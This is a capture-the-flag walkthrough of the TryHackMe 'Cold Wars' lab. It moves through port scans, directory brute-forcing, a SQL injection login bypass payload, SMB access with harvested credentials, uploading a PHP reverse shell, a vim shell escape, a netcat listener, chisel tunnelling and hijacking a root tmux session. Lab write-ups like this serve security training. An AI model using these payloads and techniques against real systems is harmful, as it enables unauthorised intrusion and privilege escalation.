TryHackMe - Cold Wars
Description
Hello hackers, I hope you are doing well. We are doing ColdWars from TryHackMe.
Enumeration
nmap
We start a nmap scan using the following command: sudo nmap -sC -sV -T4 {target_IP}.
-sC: run all the default scripts.
-sV: Find the version of services running on the target.
-T4: Aggressive scan to provide faster results.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
Nmap scan report for 10.10.182.56
Host is up (0.11s latency).
Not shown: 996 closed tcp ports (reset)
PORT STATE SERVICE VERSION
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
8080/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
8082/tcp open http Node.js Express framework
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: Host: INCOGNITO
Host script results:
| smb2-time:
| date: 2023-03-26T13:43:08
|_ start_date: N/A
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
| Computer name: incognito
| NetBIOS computer name: INCOGNITO\x00
| Domain name: \x00
| FQDN: incognito
|_ System time: 2023-03-26T13:43:08+00:00
|_nbstat: NetBIOS name: INCOGNITO, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 311:
|_ Message signing enabled but not required
There are 4 open ports, SMB is running on ports 139/445, Apache web server on port 8080 and Node.js on port 8082.
Web
Letβs navigate to the web page on port 8080.
Itβs the default page for Apache.
Letβs run a directory scan
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher π€ ver: 2.7.2
ββββββββββββββββββββββββββββ¬ββββββββββββββββββββββ
π― Target Url β http://10.10.182.56:8080/
π Threads β 50
π Wordlist β /usr/share/wordlists/dirb/big.txt
π Status Codes β [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
π₯ Timeout (secs) β 7
𦑠User-Agent β feroxbuster/2.7.2
π Config File β /etc/feroxbuster/ferox-config.toml
πΎ Output File β scans/fero.txt
π HTTP methods β [GET]
π Recursion Depth β 4
π New Version Available β https://github.com/epi052/feroxbuster/releases/latest
ββββββββββββββββββββββββββββ΄ββββββββββββββββββββββ
π Press [ENTER] to use the Scan Management Menuβ’
ββββββββββββββββββββββββββββββββββββββββββββββββββ
200 GET 375l 964w 10918c http://10.10.182.56:8080/
403 GET 9l 28w 279c http://10.10.182.56:8080/.htpasswd
403 GET 9l 28w 279c http://10.10.182.56:8080/.htaccess
301 GET 9l 28w 317c http://10.10.182.56:8080/dev => http://10.10.182.56:8080/dev/
403 GET 9l 28w 279c http://10.10.182.56:8080/dev/.htpasswd
403 GET 9l 28w 279c http://10.10.182.56:8080/dev/.htaccess
403 GET 9l 28w 279c http://10.10.182.56:8080/server-status
[####################] - 2m 40938/40938 0s found:7 errors:348
[####################] - 2m 20469/20469 156/s http://10.10.182.56:8080/
[####################] - 2m 20469/20469 164/s http://10.10.182.56:8080/dev/
Found a directory called /dev and a file called note.txt, letβs check it out.
Itβs forbidden. The note has the following.
1
Secure File Upload and Testing Functionality
Letβs go to the other web page on port 8082.
Letβs run a directory scan.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher π€ ver: 2.7.2
ββββββββββββββββββββββββββββ¬ββββββββββββββββββββββ
π― Target Url β http://10.10.182.56:8082/
π Threads β 50
π Wordlist β /usr/share/wordlists/dirb/big.txt
π Status Codes β [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
π₯ Timeout (secs) β 7
𦑠User-Agent β feroxbuster/2.7.2
π Config File β /etc/feroxbuster/ferox-config.toml
πΎ Output File β scans/fero2.txt
π HTTP methods β [GET]
π Recursion Depth β 4
π New Version Available β https://github.com/epi052/feroxbuster/releases/latest
ββββββββββββββββββββββββββββ΄ββββββββββββββββββββββ
π Press [ENTER] to use the Scan Management Menuβ’
ββββββββββββββββββββββββββββββββββββββββββββββββββ
200 GET 125l 730w 11162c http://10.10.182.56:8082/
200 GET 28l 87w 1605c http://10.10.182.56:8082/Login
200 GET 28l 87w 1605c http://10.10.182.56:8082/login
301 GET 10l 16w 179c http://10.10.182.56:8082/static => /static/
[####################] - 2m 40938/40938 0s found:4 errors:101
[####################] - 1m 20469/20469 228/s http://10.10.182.56:8082/
[####################] - 1m 20469/20469 223/s http://10.10.182.56:8082/static/
We found a login page.
Trying some default credentials fails but when we try doing injection we manage to get in using this payload " or "1"="1
We got username and passwords.
SMB
Letβs list share in the SMB server.
1
2
3
4
5
6
7
8
9
$ sudo smbclient -L //10.10.182.56/Dev -N
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
SECURED Disk Dev
IPC$ IPC IPC Service (incognito server (Samba, Ubuntu))
SMB1 disabled -- no workgroup available
Found a share called Secured.
Trying to connect to the share as anonymous fails, but one of the credentials we got allows us to connect.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ sudo smbclient //10.10.182.56/SECURED -U ArthurMorgan
Enter WORKGROUP\ArthurMorgan's password:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Mon Mar 22 00:04:28 2021
.. D 0 Thu Mar 11 13:52:29 2021
note.txt A 45 Thu Mar 11 13:19:52 2021
7743660 blocks of size 1024. 4493072 blocks available
smb: \> get note.txt
getting file \note.txt of size 45 as note.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
smb: \> exit
ββ[sirius@ParrotOS]β[~/CTF/THM/coldwars]
ββββΌ $ cat note.txt
Secure File Upload and Testing Functionality
We found the same note in the /dev directory.
Foothold
Letβs upload a php reverse shell.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ sudo smbclient //10.10.182.56/SECURED -U ArthurMorgan 1 β¨―
[sudo] password for sirius:
Enter WORKGROUP\ArthurMorgan's password:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Mon Mar 22 00:04:28 2021
.. D 0 Thu Mar 11 13:52:29 2021
note.txt A 45 Thu Mar 11 13:19:52 2021
7743660 blocks of size 1024. 4479268 blocks available
smb: \> put shell.php
putting file shell.php as \shell.php (10.2 kb/s) (average 10.2 kb/s)
smb: \> ls
. D 0 Sun Mar 26 14:30:14 2023
.. D 0 Thu Mar 11 13:52:29 2021
note.txt A 45 Thu Mar 11 13:19:52 2021
shell.php A 3650 Sun Mar 26 14:30:14 2023
7743660 blocks of size 1024. 4479264 blocks available
smb: \>
Now we request the shell at http://10.10.182.56:8080/dev/shell.php
We see use marston has multiple tmux windows, one of them is logged on as root with the password zzzzzzzzzzzzzzzzzzzzzzzz.
We can switch to user ArthurMorgan using his original password.
Privilege Escalation
Running linpeas we see ssh listening on localhost.
Checking environment variable we find the following:
1
2
3
[...]
OPEN_PORT=4545
[...]
By listening on that port, we get this:
1
2
3
4
5
6
7
8
9
10
ArthurMorgan@incognito:~$ nc -lvnp 4545
Listening on [0.0.0.0] (family 0, port 4545)
Connection from 127.0.0.1 52606 received!
ideaBox
1.Write
2.Delete
3.Steal others' Trash
4.Show'nExit
After playing a little bit with the options, we find that option 4 prompts us to vim, and by running :!/bin/bash we get a shell as marston.
I copied my public ssh key to authorized_keys, forwarded port 22 using chisel and sshβd to the target as marston.
We saw earlier that marston is using tmux so letβs see what session are there using tmux ls
1
2
marston@incognito:~$ tmux ls [0/548]
0: 9 windows (created Sun Mar 26 16:45:35 2023) [80x24]
We found one session called 0 with 9 windows.
Letβs attach to it with tmux attach -t 0
We found the window that logged in as root.
Thank you for taking the time to read my write-up, I hope you have learned something from this. If you have any questions or comments, please feel free to reach out to me. See you in the next hack :).








